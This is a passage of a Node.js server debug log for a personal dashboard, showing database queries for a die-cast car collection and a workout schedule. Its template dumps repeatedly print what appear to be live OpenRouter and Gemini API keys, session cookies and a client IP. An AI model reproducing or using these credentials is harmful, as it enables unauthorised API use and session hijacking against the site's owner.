      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini CoutachLP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 110,
      model_name: 'Volvo FMX low bed truck Trailor',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-16T18:30:00.000Z',
      price: '750.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 109,
      model_name: 'Volvo excavator EC950F',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-24T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-02T08:36:52.663Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-02T08:37:00.783Z server-connect:router Serving templateView /goal
2026-02-02T08:37:00.783Z server-connect:app Executing action step identify
2026-02-02T08:37:00.783Z server-connect:app options: { provider: 'security' }
2026-02-02T08:37:00.783Z server-connect:output identity: 1
2026-02-02T08:37:00.783Z server-connect:app Executing action step restrict
2026-02-02T08:37:00.783Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-02T08:37:00.784Z server-connect:output restrict: undefined
2026-02-02T08:37:00.784Z server-connect:router Render template goal
2026-02-02T08:37:00.784Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/goal',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AvmzjpJs378fK3BcHyXb7mw%3D%3D.sfZG3SFPLHdMenTwpRpDYr0ik2w36Zu9nSaj9HJuYYL0RdDS5ht6cQCX1VpZ5JrimXhtziDaikJbtyY%2FlNmjfVkv%2FqrkefYcGFdM50Zv5Z1wMLRFOxMDSx2VtkJHZZi7Gg58qIKkz56q8noNfc08KM8ranNc%2FSYwxB1vDUiHRFc%3D.WyEweLcHmuNyDQvzED8Cc7uxwcMcBSHEAOp5QgFxAyw; your_r_git.sid=s%3AtfyySIgIbZv3kKkBtlb0I3nBxeTBxnwX.rccU7%2FunZjzONRsds6VBQAZvetl%2F0vRnR3Ol0HYj6Qc',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-03T08:36:29.365Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/goal',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AvmzjpJs378fK3BcHyXb7mw%3D%3D.sfZG3SFPLHdMenTwpRpDYr0ik2w36Zu9nSaj9HJuYYL0RdDS5ht6cQCX1VpZ5JrimXhtziDaikJbtyY%2FlNmjfVkv%2FqrkefYcGFdM50Zv5Z1wMLRFOxMDSx2VtkJHZZi7Gg58qIKkz56q8noNfc08KM8ranNc%2FSYwxB1vDUiHRFc%3D.WyEweLcHmuNyDQvzED8Cc7uxwcMcBSHEAOp5QgFxAyw; your_r_git.sid=s%3AtfyySIgIbZv3kKkBtlb0I3nBxeTBxnwX.rccU7%2FunZjzONRsds6VBQAZvetl%2F0vRnR3Ol0HYj6Qc',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-02T08:37:01.106Z server-connect:router Serving serverConnect /api/health/get-schedule
2026-02-02T08:37:01.107Z server-connect:app Executing action step identify
2026-02-02T08:37:01.107Z server-connect:app options: { provider: 'security' }
2026-02-02T08:37:01.107Z server-connect:output identity: 1
2026-02-02T08:37:01.107Z server-connect:app Executing action step restrict
2026-02-02T08:37:01.107Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-02T08:37:01.107Z server-connect:output restrict: undefined
2026-02-02T08:37:01.107Z server-connect:app Executing action step select
2026-02-02T08:37:01.108Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [],
    table: { name: 'workout_schedule' },
    joins: [],
    primary: 'schedule_id',
    query: 'select * from `workout_schedule`'
  }
}
2026-02-02T08:37:01.109Z server-connect:output list: [
  {
    schedule_id: 2,
    schedule_name: 'Lean Fat Loss',
    start_date: '2025-11-30T18:30:00.000Z',
    end_date: '2025-12-30T18:30:00.000Z',
    days: 6,
    created_on: '2025-04-20T09:05:58.000Z',
    created_by: 1,
    updated_on: '2025-04-20T09:13:32.000Z',
    updated_by: null,
    status: 'Not Started',
    description: 'this is a test description'
  }
]
2026-02-02T08:37:03.127Z server-connect:router Serving templateView /diecast
2026-02-02T08:37:03.132Z server-connect:app Executing action step identify
2026-02-02T08:37:03.132Z server-connect:app options: { provider: 'security' }
2026-02-02T08:37:03.133Z server-connect:output identity: 1
2026-02-02T08:37:03.133Z server-connect:app Executing action step restrict
2026-02-02T08:37:03.133Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-02T08:37:03.134Z server-connect:output restrict: undefined
2026-02-02T08:37:03.134Z server-connect:router Render template diecast
2026-02-02T08:37:03.134Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AvmzjpJs378fK3BcHyXb7mw%3D%3D.sfZG3SFPLHdMenTwpRpDYr0ik2w36Zu9nSaj9HJuYYL0RdDS5ht6cQCX1VpZ5JrimXhtziDaikJbtyY%2FlNmjfVkv%2FqrkefYcGFdM50Zv5Z1wMLRFOxMDSx2VtkJHZZi7Gg58qIKkz56q8noNfc08KM8ranNc%2FSYwxB1vDUiHRFc%3D.WyEweLcHmuNyDQvzED8Cc7uxwcMcBSHEAOp5QgFxAyw; your_r_git.sid=s%3AtfyySIgIbZv3kKkBtlb0I3nBxeTBxnwX.rccU7%2FunZjzONRsds6VBQAZvetl%2F0vRnR3Ol0HYj6Qc',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-03T08:36:29.365Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AvmzjpJs378fK3BcHyXb7mw%3D%3D.sfZG3SFPLHdMenTwpRpDYr0ik2w36Zu9nSaj9HJuYYL0RdDS5ht6cQCX1VpZ5JrimXhtziDaikJbtyY%2FlNmjfVkv%2FqrkefYcGFdM50Zv5Z1wMLRFOxMDSx2VtkJHZZi7Gg58qIKkz56q8noNfc08KM8ranNc%2FSYwxB1vDUiHRFc%3D.WyEweLcHmuNyDQvzED8Cc7uxwcMcBSHEAOp5QgFxAyw; your_r_git.sid=s%3AtfyySIgIbZv3kKkBtlb0I3nBxeTBxnwX.rccU7%2FunZjzONRsds6VBQAZvetl%2F0vRnR3Ol0HYj6Qc',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-02T08:37:04.834Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-02T08:37:04.835Z server-connect:app Executing action step identify
2026-02-02T08:37:04.835Z server-connect:app options: { provider: 'security' }
2026-02-02T08:37:04.835Z server-connect:output identity: 1
2026-02-02T08:37:04.835Z server-connect:app Executing action step restrict
2026-02-02T08:37:04.835Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-02T08:37:04.835Z server-connect:output restrict: undefined
2026-02-02T08:37:04.835Z server-connect:app Executing action step select
2026-02-02T08:37:04.835Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-02T08:37:04.836Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 }
]
2026-02-02T08:37:05.132Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-02T08:37:05.133Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-02T08:37:05.134Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-02T08:37:05.134Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-02T08:37:05.135Z server-connect:router Serving templateView /diecast-reports
2026-02-02T08:37:05.135Z server-connect:app Executing action step identify
2026-02-02T08:37:05.135Z server-connect:app options: { provider: 'security' }
2026-02-02T08:37:05.135Z server-connect:output identity: 1
2026-02-02T08:37:05.135Z server-connect:app Executing action step restrict
2026-02-02T08:37:05.135Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-02T08:37:05.135Z server-connect:app Executing action step identify
2026-02-02T08:37:05.135Z server-connect:app options: { provider: 'security' }
2026-02-02T08:37:05.136Z server-connect:output identity: 1
2026-02-02T08:37:05.136Z server-connect:app Executing action step restrict
2026-02-02T08:37:05.136Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-02T08:37:05.136Z server-connect:app Executing action step identify
2026-02-02T08:37:05.136Z server-connect:app options: { provider: 'security' }
2026-02-02T08:37:05.136Z server-connect:output identity: 1
2026-02-02T08:37:05.136Z server-connect:app Executing action step restrict
2026-02-02T08:37:05.136Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-02T08:37:05.136Z server-connect:output restrict: undefined
2026-02-02T08:37:05.136Z server-connect:app Executing action step paged
2026-02-02T08:37:05.137Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-02T08:37:05.137Z server-connect:app Executing action step identify
2026-02-02T08:37:05.137Z server-connect:app options: { provider: 'security' }
2026-02-02T08:37:05.137Z server-connect:output identity: 1
2026-02-02T08:37:05.137Z server-connect:app Executing action step restrict
2026-02-02T08:37:05.138Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-02T08:37:05.138Z server-connect:output restrict: undefined
2026-02-02T08:37:05.138Z server-connect:app Executing action step select
2026-02-02T08:37:05.138Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-02T08:37:05.139Z server-connect:output restrict: undefined
2026-02-02T08:37:05.139Z server-connect:app Executing action step select
2026-02-02T08:37:05.139Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-02T08:37:05.139Z server-connect:app Executing action step identify
2026-02-02T08:37:05.139Z server-connect:app options: { provider: 'security' }
2026-02-02T08:37:05.139Z server-connect:output identity: 1
2026-02-02T08:37:05.139Z server-connect:app Executing action step restrict
2026-02-02T08:37:05.139Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-02T08:37:05.141Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 }
]
2026-02-02T08:37:05.141Z server-connect:output restrict: undefined
2026-02-02T08:37:05.141Z server-connect:app Executing action step select
2026-02-02T08:37:05.141Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-02T08:37:05.143Z server-connect:output restrict: undefined
2026-02-02T08:37:05.143Z server-connect:router Render template diecast-reports
2026-02-02T08:37:05.143Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
